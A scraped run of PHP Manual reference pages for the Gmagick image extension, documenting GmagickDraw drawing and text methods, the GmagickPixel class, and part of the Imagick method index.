public float GmagickDraw::getstrokeopacity ( void )

Returns the opacity of stroked object outlines.

Parameters

This function has no parameters.

Return Values

Returns a double describing the opacity.

User Contributed Notes

There are no user contributed notes for this page.
GmagickDraw::getstrokecolor
GmagickDraw::getstrokewidth
GmagickDraw


Returns the width of the stroke used to draw object outlines

GmagickDraw::getstrokeopacity
GmagickDraw::gettextdecoration
GmagickDraw
PHP Manual

GmagickDraw::getstrokewidth

(PECL gmagick >= Unknown)

GmagickDraw::getstrokewidth — Returns the width of the stroke used to draw object outlines

Description

public float GmagickDraw::getstrokewidth ( void )

Returns the width of the stroke used to draw object outlines.

Parameters

This function has no parameters.

Return Values

Returns a double describing the stroke width.

User Contributed Notes

There are no user contributed notes for this page.
GmagickDraw::getstrokeopacity
GmagickDraw::gettextdecoration
GmagickDraw


Returns the text decoration

GmagickDraw::getstrokewidth
GmagickDraw::gettextencoding
GmagickDraw
PHP Manual

GmagickDraw::gettextdecoration

(PECL gmagick >= Unknown)

GmagickDraw::gettextdecoration — Returns the text decoration

Description

public int GmagickDraw::gettextdecoration ( void )

Returns the decoration applied when annotating with text.

Parameters

This function has no parameters.

Return Values

Returns one of the DECORATION_ constants and 0 if no decoration is set.

User Contributed Notes

There are no user contributed notes for this page.
GmagickDraw::getstrokewidth
GmagickDraw::gettextencoding
GmagickDraw


Returns the code set used for text annotations

GmagickDraw::gettextdecoration
GmagickDraw::line
GmagickDraw
PHP Manual

GmagickDraw::gettextencoding

(PECL gmagick >= Unknown)

GmagickDraw::gettextencoding — Returns the code set used for text annotations

Description

public string GmagickDraw::gettextencoding ( void )

Returns a string which specifies the code set used for text annotations.

Parameters

This function has no parameters.

Return Values

Returns a string specifying the code set or false if text encoding is not set.

User Contributed Notes

There are no user contributed notes for this page.
GmagickDraw::gettextdecoration
GmagickDraw::line
GmagickDraw


The line purpose

GmagickDraw::gettextencoding
GmagickDraw::point
GmagickDraw
PHP Manual

GmagickDraw::line

(PECL gmagick >= Unknown)

GmagickDraw::line — The line purpose

Description

public GmagickDraw GmagickDraw::line ( float $sx , float $sy , float $ex , float $ey )

Draws a line on the image using the current stroke color, stroke opacity, and stroke width.

Parameters

sx

starting x ordinate

sy

starting y ordinate

ex

ending x ordinate

ey

ending y ordinate

Return Values

The GmagickDraw object on success

User Contributed Notes

There are no user contributed notes for this page.
GmagickDraw::gettextencoding
GmagickDraw::point
GmagickDraw


Draws a point

GmagickDraw::line
GmagickDraw::polygon
GmagickDraw
PHP Manual

GmagickDraw::point

(PECL gmagick >= Unknown)

GmagickDraw::point — Draws a point

Description

public GmagickDraw GmagickDraw::point ( float $x , float $y )

Draws a point using the current stroke color and stroke thickness at the specified coordinates.

Parameters

x

target x coordinate

y

target y coordinate

Return Values

The GmagickDraw object on success

User Contributed Notes

There are no user contributed notes for this page.
GmagickDraw::line
GmagickDraw::polygon
GmagickDraw


Draws a polygon

GmagickDraw::point
GmagickDraw::polyline
GmagickDraw
PHP Manual

GmagickDraw::polygon

(PECL gmagick >= Unknown)

GmagickDraw::polygon — Draws a polygon

Description

public GmagickDraw GmagickDraw::polygon ( array $coordinates )

Draws a polygon using the current stroke, stroke width, and fill color or texture, using the specified array of coordinates.

Parameters

coordinates

coordinate array

Return Values

The GmagickDraw object on success

User Contributed Notes

There are no user contributed notes for this page.
GmagickDraw::point
GmagickDraw::polyline
GmagickDraw


Draws a polyline

GmagickDraw::polygon
GmagickDraw::rectangle
GmagickDraw
PHP Manual

GmagickDraw::polyline

(PECL gmagick >= Unknown)

GmagickDraw::polyline — Draws a polyline

Description

public GmagickDraw GmagickDraw::polyline ( array $coordinate_array )

Draws a polyline using the current stroke, stroke width, and fill color or texture, using the specified array of coordinates.

Parameters

coordinate_array

The array of coordinates

Return Values

The GmagickDraw object on success

User Contributed Notes

There are no user contributed notes for this page.
GmagickDraw::polygon
GmagickDraw::rectangle
GmagickDraw


Draws a rectangle

GmagickDraw::polyline
GmagickDraw::rotate
GmagickDraw
PHP Manual

GmagickDraw::rectangle

(PECL gmagick >= Unknown)

GmagickDraw::rectangle — Draws a rectangle

Description

public GmagickDraw GmagickDraw::rectangle ( float $x1 , float $y1 , float $x2 , float $y2 )

Draws a rectangle given two coordinates and using the current stroke, stroke width, and fill settings.

Parameters

x1

x ordinate of first coordinate

y1

y ordinate of first coordinate

x2

x ordinate of second coordinate

y2

y ordinate of second coordinate

Return Values

The GmagickDraw object on success

User Contributed Notes

There are no user contributed notes for this page.
GmagickDraw::polyline
GmagickDraw::rotate
GmagickDraw


Applies the specified rotation to the current coordinate space

GmagickDraw::rectangle
GmagickDraw::roundrectangle
GmagickDraw
PHP Manual

GmagickDraw::rotate

(PECL gmagick >= Unknown)

GmagickDraw::rotate — Applies the specified rotation to the current coordinate space

Description

public GmagickDraw GmagickDraw::rotate ( float $degrees )

Applies the specified rotation to the current coordinate space.

Parameters

degrees

degrees of rotation

Return Values

The GmagickDraw object on success

User Contributed Notes

There are no user contributed notes for this page.
GmagickDraw::rectangle
GmagickDraw::roundrectangle
GmagickDraw


Draws a rounded rectangle

GmagickDraw::rotate
GmagickDraw::scale
GmagickDraw
PHP Manual

GmagickDraw::roundrectangle

(PECL gmagick >= Unknown)

GmagickDraw::roundrectangle — Draws a rounded rectangle

Description

public GmagickDraw GmagickDraw::roundrectangle ( float $x1 , float $y1 , float $x2 , float $y2 , float $rx , float $ry )

Draws a rounded rectangle given two coordinates, x and y corner radiuses and using the current stroke, stroke width, and fill settings.

Parameters

x1

x ordinate of first coordinate

y1

y ordinate of first coordinate

x2

x ordinate of second coordinate

y2

y ordinate of second coordinate

rx

radius of corner in horizontal direction

ry

radius of corner in vertical direction

Return Values

The GmagickDraw object on success

User Contributed Notes

There are no user contributed notes for this page.
GmagickDraw::rotate
GmagickDraw::scale
GmagickDraw


Adjusts the scaling factor

GmagickDraw::roundrectangle
GmagickDraw::setfillcolor
GmagickDraw
PHP Manual

GmagickDraw::scale

(PECL gmagick >= Unknown)

GmagickDraw::scale — Adjusts the scaling factor

Description

public GmagickDraw GmagickDraw::scale ( float $x , float $y )

Adjusts the scaling factor to apply in the horizontal and vertical directions to the current coordinate space.

Parameters

x

horizontal scale factor

y

vertical scale factor

Return Values

The GmagickDraw object on success

User Contributed Notes

There are no user contributed notes for this page.
GmagickDraw::roundrectangle
GmagickDraw::setfillcolor
GmagickDraw


Sets the fill color to be used for drawing filled objects.

GmagickDraw::scale
GmagickDraw::setfillopacity
GmagickDraw
PHP Manual

GmagickDraw::setfillcolor

(PECL gmagick >= Unknown)

GmagickDraw::setfillcolor — Sets the fill color to be used for drawing filled objects.

Description

public GmagickDraw GmagickDraw::setfillcolor ( string $color )

Sets the fill color to be used for drawing filled objects.

Parameters

color

GmagickPixel indicating color to use for filling.

Return Values

The GmagickDraw object on success

User Contributed Notes

There are no user contributed notes for this page.
GmagickDraw::scale
GmagickDraw::setfillopacity
GmagickDraw


The setfillopacity purpose

GmagickDraw::setfillcolor
GmagickDraw::setfont
GmagickDraw
PHP Manual

GmagickDraw::setfillopacity

(PECL gmagick >= Unknown)

GmagickDraw::setfillopacity — The setfillopacity purpose

Description

public GmagickDraw GmagickDraw::setfillopacity ( float $fill_opacity )

Sets the opacity to use when drawing using the fill color or fill texture. Setting it to 1.0 will make fill full opaque.

Parameters

fill_opacity

Fill opacity

Return Values

The GmagickDraw object on success

User Contributed Notes

There are no user contributed notes for this page.
GmagickDraw::setfillcolor
GmagickDraw::setfont
GmagickDraw


Sets the fully-specified font to use when annotating with text.

GmagickDraw::setfillopacity
GmagickDraw::setfontsize
GmagickDraw
PHP Manual

GmagickDraw::setfont

(PECL gmagick >= Unknown)

GmagickDraw::setfont — Sets the fully-specified font to use when annotating with text.

Description

public GmagickDraw GmagickDraw::setfont ( string $font )

Sets the fully-specified font to use when annotating with text

Parameters

font

font name

Return Values

The GmagickDraw object on success

User Contributed Notes

There are no user contributed notes for this page.
GmagickDraw::setfillopacity
GmagickDraw::setfontsize
GmagickDraw


Sets the font pointsize to use when annotating with text.

GmagickDraw::setfont
GmagickDraw::setfontstyle
GmagickDraw
PHP Manual

GmagickDraw::setfontsize

(PECL gmagick >= Unknown)

GmagickDraw::setfontsize — Sets the font pointsize to use when annotating with text.

Description

public GmagickDraw GmagickDraw::setfontsize ( float $pointsize )

Sets the font pointsize to use when annotating with text.

Parameters

pointsize

Text pointsize

Return Values

The GmagickDraw object on success

User Contributed Notes

There are no user contributed notes for this page.
GmagickDraw::setfont
GmagickDraw::setfontstyle
GmagickDraw


Sets the font style to use when annotating with text

GmagickDraw::setfontsize
GmagickDraw::setfontweight
GmagickDraw
PHP Manual

GmagickDraw::setfontstyle

(PECL gmagick >= Unknown)

GmagickDraw::setfontstyle — Sets the font style to use when annotating with text

Description

public GmagickDraw GmagickDraw::setfontstyle ( int $style )

Sets the font style to use when annotating with text. The AnyStyle enumeration acts as a wild-card "don't care" option.

Parameters

style

Font style (NormalStyle, ItalicStyle, ObliqueStyle, AnyStyle)

Return Values

The GmagickDraw object on success

User Contributed Notes

There are no user contributed notes for this page.
GmagickDraw::setfontsize
GmagickDraw::setfontweight
GmagickDraw


Sets the font weight

GmagickDraw::setfontstyle
GmagickDraw::setstrokecolor
GmagickDraw
PHP Manual

GmagickDraw::setfontweight

(PECL gmagick >= Unknown)

GmagickDraw::setfontweight — Sets the font weight

Description

public GmagickDraw GmagickDraw::setfontweight ( int $weight )

Sets the font weight to use when annotating with text.

Parameters

weight

Font weight (valid range 100-900)

Return Values

The GmagickDraw object on success

User Contributed Notes

There are no user contributed notes for this page.
GmagickDraw::setfontstyle
GmagickDraw::setstrokecolor
GmagickDraw


Sets the color used for stroking object outlines.

GmagickDraw::setfontweight
GmagickDraw::setstrokeopacity
GmagickDraw
PHP Manual

GmagickDraw::setstrokecolor

(PECL gmagick >= Unknown)

GmagickDraw::setstrokecolor — Sets the color used for stroking object outlines.

Description

public GmagickDraw GmagickDraw::setstrokecolor ( GmagickPixel $color )

Sets the color used for stroking object outlines.

Parameters

color

GmagickPixel representing the color for the stroke.

Return Values

The GmagickDraw object on success

User Contributed Notes

There are no user contributed notes for this page.
GmagickDraw::setfontweight
GmagickDraw::setstrokeopacity
GmagickDraw


Specifies the opacity of stroked object outlines.

GmagickDraw::setstrokecolor
GmagickDraw::setstrokewidth
GmagickDraw
PHP Manual

GmagickDraw::setstrokeopacity

(PECL gmagick >= Unknown)

GmagickDraw::setstrokeopacity — Specifies the opacity of stroked object outlines.

Description

public GmagickDraw GmagickDraw::setstrokeopacity ( float $stroke_opacity )

Specifies the opacity of stroked object outlines.

Parameters

stroke_opacity

Stroke opacity. The value 1.0 is opaque.

Return Values

The GmagickDraw object on success

User Contributed Notes

There are no user contributed notes for this page.
GmagickDraw::setstrokecolor
GmagickDraw::setstrokewidth
GmagickDraw


Sets the width of the stroke used to draw object outlines.

GmagickDraw::setstrokeopacity
GmagickDraw::settextdecoration
GmagickDraw
PHP Manual

GmagickDraw::setstrokewidth

(PECL gmagick >= Unknown)

GmagickDraw::setstrokewidth — Sets the width of the stroke used to draw object outlines.

Description

public GmagickDraw GmagickDraw::setstrokewidth ( float $width )

Sets the width of the stroke used to draw object outlines

Parameters

width

Stroke width

Return Values

The GmagickDraw object on success

User Contributed Notes

There are no user contributed notes for this page.
GmagickDraw::setstrokeopacity
GmagickDraw::settextdecoration
GmagickDraw


Specifies a decoration

GmagickDraw::setstrokewidth
GmagickDraw::settextencoding
GmagickDraw
PHP Manual

GmagickDraw::settextdecoration

(PECL gmagick >= Unknown)

GmagickDraw::settextdecoration — Specifies a decoration

Description

public GmagickDraw GmagickDraw::settextdecoration ( int $decoration )

Specifies a decoration to be applied when annotating with text.

Parameters

int

Text decoration. One of NoDecoration, UnderlineDecoration, OverlineDecoration, or LineThroughDecoration

Return Values

The GmagickDraw object on success

User Contributed Notes

There are no user contributed notes for this page.
GmagickDraw::setstrokewidth
GmagickDraw::settextencoding
GmagickDraw


Specifies specifies the text code set

GmagickDraw::settextdecoration
GmagickPixel
GmagickDraw
PHP Manual

GmagickDraw::settextencoding

(PECL gmagick >= Unknown)

GmagickDraw::settextencoding — Specifies specifies the text code set

Description

public GmagickDraw GmagickDraw::settextencoding ( string $encoding )

Specifies specifies the code set to use for text annotations. The only character encoding which may be specified at this time is "UTF-8" for representing Unicode as a sequence of bytes. Specify an empty string to set text encoding to the system's default. Successful text annotation using Unicode may require fonts designed to support Unicode.

Parameters

encoding

Character string specifying text encoding

Return Values

The GmagickDraw object on success

User Contributed Notes

There are no user contributed notes for this page.
GmagickDraw::settextdecoration
GmagickPixel
GmagickDraw


The GmagickPixel class

(No version information available, might only be in SVN)

Introduction

Class synopsis

GmagickPixel {
/* Methods */
public __construct ([ string $color ] )
public mixed getcolor ([ bool $as_array [, bool $normalize_array ]] )
public int getcolorcount ( void )
public float getcolorvalue ( int $color )
public GmagickPixel setcolor ( string $color )
public GmagickPixel setcolorvalue ( int $color , float $value )
}

Table of Contents

  • GmagickPixel::__construct — The GmagickPixel constructor
  • GmagickPixel::getcolor — Returns the color
  • GmagickPixel::getcolorcount — Returns the color count associated with this color
  • GmagickPixel::getcolorvalue — Gets the normalized value of the provided color channel
  • GmagickPixel::setcolor — Sets the color
  • GmagickPixel::setcolorvalue — Sets the normalized value of one of the channels

User Contributed Notes

There are no user contributed notes for this page.
GmagickDraw::settextencoding
GmagickPixel::__construct
Gmagick


The GmagickPixel constructor

GmagickPixel
GmagickPixel::getcolor
GmagickPixel
PHP Manual

GmagickPixel::__construct

(PECL gmagick >= Unknown)

GmagickPixel::__construct — The GmagickPixel constructor

Description

public GmagickPixel::__construct ([ string $color ] )

Constructs an GmagickPixel object. If a color is specified, the object is constructed and then initialised with that color before being returned.

Parameters

color

The optional color string to use as the initial value of this object.

Return Values

The GmagickPixel object on success.

User Contributed Notes

There are no user contributed notes for this page.
GmagickPixel
GmagickPixel::getcolor
GmagickPixel


Returns the color

GmagickPixel::__construct
GmagickPixel::getcolorcount
GmagickPixel
PHP Manual

GmagickPixel::getcolor

(PECL gmagick >= Unknown)

GmagickPixel::getcolor — Returns the color

Description

public mixed GmagickPixel::getcolor ([ bool $as_array [, bool $normalize_array ]] )

Returns the color described by the GmagickPixel object, as an array. If the color has an opacity channel set, this is provided as a fourth value in the list.

Parameters

as_array

True to indicate return of array instead of string

normalize_array

Normalize the color values

Return Values

An array of channel values, each normalized if TRUE is given as param. Throws GmagickPixelException on error.

User Contributed Notes

There are no user contributed notes for this page.
GmagickPixel::__construct
GmagickPixel::getcolorcount
GmagickPixel


Returns the color count associated with this color

GmagickPixel::getcolor
GmagickPixel::getcolorvalue
GmagickPixel
PHP Manual

GmagickPixel::getcolorcount

(PECL gmagick >= Unknown)

GmagickPixel::getcolorcount — Returns the color count associated with this color

Description

public int GmagickPixel::getcolorcount ( void )

Returns the color count associated with this color

Parameters

This function has no parameters.

Return Values

Returns the color count as an integer on success, throws GmagickPixelException on failure.

User Contributed Notes

There are no user contributed notes for this page.
GmagickPixel::getcolor
GmagickPixel::getcolorvalue
GmagickPixel


Gets the normalized value of the provided color channel

GmagickPixel::getcolorcount
GmagickPixel::setcolor
GmagickPixel
PHP Manual

GmagickPixel::getcolorvalue

(PECL gmagick >= Unknown)

GmagickPixel::getcolorvalue — Gets the normalized value of the provided color channel

Description

public float GmagickPixel::getcolorvalue ( int $color )

Retrieves the value of the color channel specified, as a floating-point number between 0 and 1.

Parameters

color

The channel to check, specified as one of the Gmagick channel constants.

Return Values

The value of the channel, as a normalized floating-point number, throwing GmagickPixelException on error.

User Contributed Notes

There are no user contributed notes for this page.
GmagickPixel::getcolorcount
GmagickPixel::setcolor
GmagickPixel


Sets the color

GmagickPixel::getcolorvalue
GmagickPixel::setcolorvalue
GmagickPixel
PHP Manual

GmagickPixel::setcolor

(PECL gmagick >= Unknown)

GmagickPixel::setcolor — Sets the color

Description

public GmagickPixel GmagickPixel::setcolor ( string $color )

Sets the color described by the GmagickPixel object, with a string (e.g. "blue", "#0000ff", "rgb(0,0,255)", "cmyk(100,100,100,10)", etc.).

Parameters

color

The color definition to use in order to initialise the GmagickPixel object.

Return Values

The GmagickPixel object on success.

User Contributed Notes

There are no user contributed notes for this page.
GmagickPixel::getcolorvalue
GmagickPixel::setcolorvalue
GmagickPixel


Sets the normalized value of one of the channels

GmagickPixel::setcolor
ImageMagick
GmagickPixel
PHP Manual

GmagickPixel::setcolorvalue

(PECL gmagick >= Unknown)

GmagickPixel::setcolorvalue — Sets the normalized value of one of the channels

Description

public GmagickPixel GmagickPixel::setcolorvalue ( int $color , float $value )

Sets the value of the specified channel of this object to the provided value, which should be between 0 and 1. This function can be used to provide an opacity channel to a GmagickPixel object.

Parameters

color

One of the Gmagick channel color constants.

value

The value to set this channel to, ranging from 0 to 1.

Return Values

The GmagickPixel object on success.

User Contributed Notes

There are no user contributed notes for this page.
GmagickPixel::setcolor
ImageMagick
GmagickPixel


Image Processing (ImageMagick)

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Basic usage
  • Imagick — The Imagick class
    • Imagick::adaptiveBlurImage — Adds adaptive blur filter to image
    • Imagick::adaptiveResizeImage — Adaptively resize image with data dependent triangulation
    • Imagick::adaptiveSharpenImage — Adaptively sharpen the image
    • Imagick::adaptiveThresholdImage — Selects a threshold for each pixel based on a range of intensity
    • Imagick::addImage — Adds new image to Imagick object image list
    • Imagick::addNoiseImage — Adds random noise to the image
    • Imagick::affineTransformImage — Transforms an image
    • Imagick::animateImages — Animates an image or images
    • Imagick::annotateImage — Annotates an image with text
    • Imagick::appendImages — Append a set of images
    • Imagick::averageImages — Average a set of images
    • Imagick::blackThresholdImage — Forces all pixels below the threshold into black
    • Imagick::blurImage — Adds blur filter to image
    • Imagick::borderImage — Surrounds the image with a border
    • Imagick::charcoalImage — Simulates a charcoal drawing
    • Imagick::chopImage — Removes a region of an image and trims
    • Imagick::clear — Clears all resources associated to Imagick object
    • Imagick::clipImage — Clips along the first path from the 8BIM profile
    • Imagick::clipPathImage — Clips along the named paths from the 8BIM profile
    • Imagick::clone — Makes an exact copy of the Imagick object
    • Imagick::clutImage — Replaces colors in the image
    • Imagick::coalesceImages — Composites a set of images
    • Imagick::colorFloodfillImage — Changes the color value of any pixel that matches target
    • Imagick::colorizeImage — Blends the fill color with the image
    • Imagick::combineImages — Combines one or more images into a single image
    • Imagick::commentImage — Adds a comment to your image
    • Imagick::compareImageChannels — Returns the difference in one or more images
    • Imagick::compareImageLayers — Returns the maximum bounding region between images
    • Imagick::compareImages — Compares an image to a reconstructed image
    • Imagick::compositeImage — Composite one image onto another
    • Imagick::__construct — The Imagick constructor
    • Imagick::contrastImage — Change the contrast of the image
    • Imagick::contrastStretchImage — Enhances the contrast of a color image
    • Imagick::convolveImage — Applies a custom convolution kernel to the image
    • Imagick::cropImage — Extracts a region of the image
    • Imagick::cropThumbnailImage — Creates a crop thumbnail
    • Imagick::current — Returns a reference to the current Imagick object
    • Imagick::cycleColormapImage — Displaces an image's colormap
    • Imagick::decipherImage — Deciphers an image
    • Imagick::deconstructImages — Returns certain pixel differences between images
    • Imagick::deleteImageArtifact — Delete image artifact
    • Imagick::deskewImage — Removes skew from the image
    • Imagick::despeckleImage — Reduces the speckle noise in an image
    • Imagick::destroy — Destroys the Imagick object
    • Imagick::displayImage — Displays an image
    • Imagick::displayImages — Displays an image or image sequence
    • Imagick::distortImage — Distorts an image using various distortion methods
    • Imagick::drawImage — Renders the ImagickDraw object on the current image
    • Imagick::edgeImage — Enhance edges within the image
    • Imagick::embossImage — Returns a grayscale image with a three-dimensional effect
    • Imagick::encipherImage — Enciphers an image
    • Imagick::enhanceImage — Improves the quality of a noisy image
    • Imagick::equalizeImage — Equalizes the image histogram
    • Imagick::evaluateImage — Applies an expression to an image
    • Imagick::exportImagePixels — Exports raw image pixels
    • Imagick::extentImage — Set image size
    • Imagick::flattenImages — Merges a sequence of images
    • Imagick::flipImage — Creates a vertical mirror image
    • Imagick::floodFillPaintImage — Changes the color value of any pixel that matches target
    • Imagick::flopImage — Creates a horizontal mirror image
    • Imagick::frameImage — Adds a simulated three-dimensional border
    • Imagick::functionImage — Applies a function on the image
    • Imagick::fxImage — Evaluate expression for each pixel in the image
    • Imagick::gammaImage — Gamma-corrects an image
    • Imagick::gaussianBlurImage — Blurs an image
    • Imagick::getColorspace — Gets the colorspace
    • Imagick::getCompression — Gets the object compression type
    • Imagick::getCompressionQuality — Gets the object compression quality
    • Imagick::getCopyright — Returns the ImageMagick API copyright as a string
    • Imagick::getFilename — The filename associated with an image sequence
    • Imagick::getFont — Gets font
    • Imagick::getFormat — Returns the format of the Imagick object
    • Imagick::getGravity — Gets the gravity
    • Imagick::getHomeURL — Returns the ImageMagick home URL
    • Imagick::getImage — Returns a new Imagick object
    • Imagick::getImageAlphaChannel — Gets the image alpha channel
    • Imagick::getImageArtifact — Get image artifact
    • Imagick::getImageBackgroundColor — Returns the image background color
    • Imagick::getImageBlob — Returns the image sequence as a blob
    • Imagick::getImageBluePrimary — Returns the chromaticy blue primary point
    • Imagick::getImageBorderColor — Returns the image border color
    • Imagick::getImageChannelDepth — Gets the depth for a particular image channel
    • Imagick::getImageChannelDistortion — Compares image channels of an image to a reconstructed image
    • Imagick::getImageChannelDistortions — Gets channel distortions
    • Imagick::getImageChannelExtrema — Gets the extrema for one or more image channels
    • Imagick::getImageChannelKurtosis — The getImageChannelKurtosis purpose
    • Imagick::getImageChannelMean — Gets the mean and standard deviation
    • Imagick::getImageChannelRange — Gets channel range
    • Imagick::getImageChannelStatistics — Returns statistics for each channel in the image
    • Imagick::getImageClipMask — Gets image clip mask
    • Imagick::getImageColormapColor — Returns the color of the specified colormap index
    • Imagick::getImageColors — Gets the number of unique colors in the image
    • Imagick::getImageColorspace — Gets the image colorspace
    • Imagick::getImageCompose — Returns the composite operator associated with the image
    • Imagick::getImageCompression — Gets the current image's compression type
    • Imagick::getImageCompressionQuality — Gets the current image's compression quality
    • Imagick::getImageDelay — Gets the image delay
    • Imagick::getImageDepth — Gets the image depth
    • Imagick::getImageDispose — Gets the image disposal method
    • Imagick::getImageDistortion — Compares an image to a reconstructed image
    • Imagick::getImageExtrema — Gets the extrema for the image
    • Imagick::getImageFilename — Returns the filename of a particular image in a sequence
    • Imagick::getImageFormat — Returns the format of a particular image in a sequence
    • Imagick::getImageGamma — Gets the image gamma
    • Imagick::getImageGeometry — Gets the width and height as an associative array
    • Imagick::getImageGravity — Gets the image gravity
    • Imagick::getImageGreenPrimary — Returns the chromaticy green primary point
    • Imagick::getImageHeight — Returns the image height
    • Imagick::getImageHistogram — Gets the image histogram
    • Imagick::getImageIndex — Gets the index of the current active image
    • Imagick::getImageInterlaceScheme — Gets the image interlace scheme
    • Imagick::getImageInterpolateMethod — Returns the interpolation method
    • Imagick::getImageIterations — Gets the image iterations
    • Imagick::getImageLength — Returns the image length in bytes
    • Imagick::getImageMagickLicense — Returns a string containing the ImageMagick license
    • Imagick::getImageMatte — Return if the image has a matte channel
    • Imagick::getImageMatteColor — Returns the image matte color
    • Imagick::getImageOrientation — Gets the image orientation
    • Imagick::getImagePage — Returns the page geometry
    • Imagick::getImagePixelColor — Returns the color of the specified pixel
    • Imagick::getImageProfile — Returns the named image profile
    • Imagick::getImageProfiles — Returns the image profiles
    • Imagick::getImageProperties — Returns the image properties
    • Imagick::getImageProperty — Returns the named image property
    • Imagick::getImageRedPrimary — Returns the chromaticity red primary point
    • Imagick::getImageRegion — Extracts a region of the image
    • Imagick::getImageRenderingIntent — Gets the image rendering intent
    • Imagick::getImageResolution — Gets the image X and Y resolution
    • Imagick::getImagesBlob — Returns all image sequences as a blob
    • Imagick::getImageScene — Gets the image scene
    • Imagick::getImageSignature — Generates an SHA-256 message digest
    • Imagick::getImageSize — Returns the image length in bytes
    • Imagick::getImageTicksPerSecond — Gets the image ticks-per-second
    • Imagick::getImageTotalInkDensity — Gets the image total ink density
    • Imagick::getImageType — Gets the potential image type
    • Imagick::getImageUnits — Gets the image units of resolution
    • Imagick::getImageVirtualPixelMethod — Returns the virtual pixel method
    • Imagick::getImageWhitePoint — Returns the chromaticity white point
    • Imagick::getImageWidth — Returns the image width
    • Imagick::getInterlaceScheme — Gets the object interlace scheme
    • Imagick::getIteratorIndex — Gets the index of the current active image
    • Imagick::getNumberImages — Returns the number of images in the object
    • Imagick::getOption — Returns a value associated with the specified key
    • Imagick::getPackageName — Returns the ImageMagick package name
    • Imagick::getPage — Returns the page geometry
    • Imagick::getPixelIterator — Returns a MagickPixelIterator
    • Imagick::getPixelRegionIterator — Get an ImagickPixelIterator for an image section
    • Imagick::getPointSize — Gets point size
    • Imagick::getQuantumDepth — Gets the quantum depth
    • Imagick::getQuantumRange — Returns the Imagick quantum range
    • Imagick::getReleaseDate — Returns the ImageMagick release date
    • Imagick::getResource — Returns the specified resource's memory usage
    • Imagick::getResourceLimit — Returns the specified resource limit
    • Imagick::getSamplingFactors — Gets the horizontal and vertical sampling factor
    • Imagick::getSize — Returns the size associated with the Imagick object
    • Imagick::getSizeOffset — Returns the size offset
    • Imagick::getVersion — Returns the ImageMagick API version
    • Imagick::haldClutImage — Replaces colors in the image
    • Imagick::hasNextImage — Checks if the object has more images
    • Imagick::hasPreviousImage — Checks if the object has a previous image
    • Imagick::identifyImage — Identifies an image and fetches attributes
    • Imagick::implodeImage — Creates a new image as a copy
    • Imagick::importImagePixels — Imports image pixels
    • Imagick::labelImage — Adds a label to an image
    • Imagick::levelImage — Adjusts the levels of an image
    • Imagick::linearStretchImage — Stretches with saturation the image intensity
    • Imagick::liquidRescaleImage — Animates an image or images
    • Imagick::magnifyImage — Scales an image proportionally 2x
    • Imagick::mapImage — Replaces the colors of an image with the closest color from a reference image.
    • Imagick::matteFloodfillImage — Changes the transparency value of a color
    • Imagick::medianFilterImage — Applies a digital filter
    • Imagick::mergeImageLayers — Merges image layers
    • Imagick::minifyImage — Scales an image proportionally to half its size
    • Imagick::modulateImage — Control the brightness, saturation, and hue
    • Imagick::montageImage — Creates a composite image
    • Imagick::morphImages — Method morphs a set of images
    • Imagick::mosaicImages — Forms a mosaic from images
    • Imagick::motionBlurImage — Simulates motion blur
    • Imagick::negateImage — Negates the colors in the reference image
    • Imagick::newImage — Creates a new image
    • Imagick::newPseudoImage — Creates a new image
    • Imagick::nextImage — Moves to the next image
    • Imagick::normalizeImage — Enhances the contrast of a color image
    • Imagick::oilPaintImage — Simulates an oil painting
    • Imagick::opaquePaintImage — Changes the color value of any pixel that matches target
    • Imagick::optimizeImageLayers — Removes repeated portions of images to optimize
    • Imagick::orderedPosterizeImage — Performs an ordered dither
    • Imagick::paintFloodfillImage — Changes the color value of any pixel that matches target
    • Imagick::paintOpaqueImage — Change any pixel that matches color
    • Imagick::paintTransparentImage — Changes any pixel that matches color with the color defined by fill
    • Imagick::pingImage — Fetch basic attributes about the image
    • Imagick::pingImageBlob — Quickly fetch attributes
    • Imagick::pingImageFile — Get basic image attributes in a lightweight manner
    • Imagick::polaroidImage — Simulates a Polaroid picture
    • Imagick::posterizeImage — Reduces the image to a limited number of color level
    • Imagick::previewImages — Quickly pin-point appropriate parameters for image processing
    • Imagick::previousImage — Move to the previous image in the object
    • Imagick::profileImage — Adds or removes a profile from an image
    • Imagick::quantizeImage — Analyzes the colors within a reference image
    • Imagick::quantizeImages — Analyzes the colors within a sequence of images
    • Imagick::queryFontMetrics — Returns an array representing the font metrics
    • Imagick::queryFonts — Returns the configured fonts
    • Imagick::queryFormats — Returns formats supported by Imagick
    • Imagick::radialBlurImage — Radial blurs an image
    • Imagick::raiseImage — Creates a simulated 3d button-like effect
    • Imagick::randomThresholdImage — Creates a high-contrast, two-color image
    • Imagick::readImage — Reads image from filename
    • Imagick::readImageBlob — Reads image from a binary string
    • Imagick::readImageFile — Reads image from open filehandle
    • Imagick::recolorImage — Recolors image
    • Imagick::reduceNoiseImage — Smooths the contours of an image
    • Imagick::remapImage — Remaps image colors
    • Imagick::removeImage — Removes an image from the image list
    • Imagick::removeImageProfile — Removes the named image profile and returns it
    • Imagick::render — Renders all preceding drawing commands
    • Imagick::resampleImage — Resample image to desired resolution
    • Imagick::resetImagePage — Reset image page
    • Imagick::resizeImage — Scales an image
    • Imagick::rollImage — Offsets an image
    • Imagick::rotateImage — Rotates an image
    • Imagick::roundCorners — Rounds image corners
    • Imagick::sampleImage — Scales an image with pixel sampling
    • Imagick::scaleImage — Scales the size of an image
    • Imagick::segmentImage — Segments an image
    • Imagick::separateImageChannel — Separates a channel from the image
    • Imagick::sepiaToneImage — Sepia tones an image
    • Imagick::setBackgroundColor — Sets the object's default background color
    • Imagick::setColorspace — Set colorspace
    • Imagick::setCompression — Sets the object's default compression type
    • Imagick::setCompressionQuality — Sets the object's default compression quality
    • Imagick::setFilename — Sets the filename before you read or write the image
    • Imagick::setFirstIterator — Sets the Imagick iterator to the first image
    • Imagick::setFont — Sets font
    • Imagick::setFormat — Sets the format of the Imagick object
    • Imagick::setGravity — Sets the gravity
    • Imagick::setImage — Replaces image in the object
    • Imagick::setImageAlphaChannel — Sets image alpha channel
    • Imagick::setImageArtifact — Set image artifact
    • Imagick::setImageBackgroundColor — Sets the image background color
    • Imagick::setImageBias — Sets the image bias for any method that convolves an image
    • Imagick::setImageBluePrimary — Sets the image chromaticity blue primary point
    • Imagick::setImageBorderColor — Sets the image border color
    • Imagick::setImageChannelDepth — Sets the depth of a particular image channel
    • Imagick::setImageClipMask — Sets image clip mask
    • Imagick::setImageColormapColor — Sets the color of the specified colormap index
    • Imagick::setImageColorspace — Sets the image colorspace
    • Imagick::setImageCompose — Sets the image composite operator
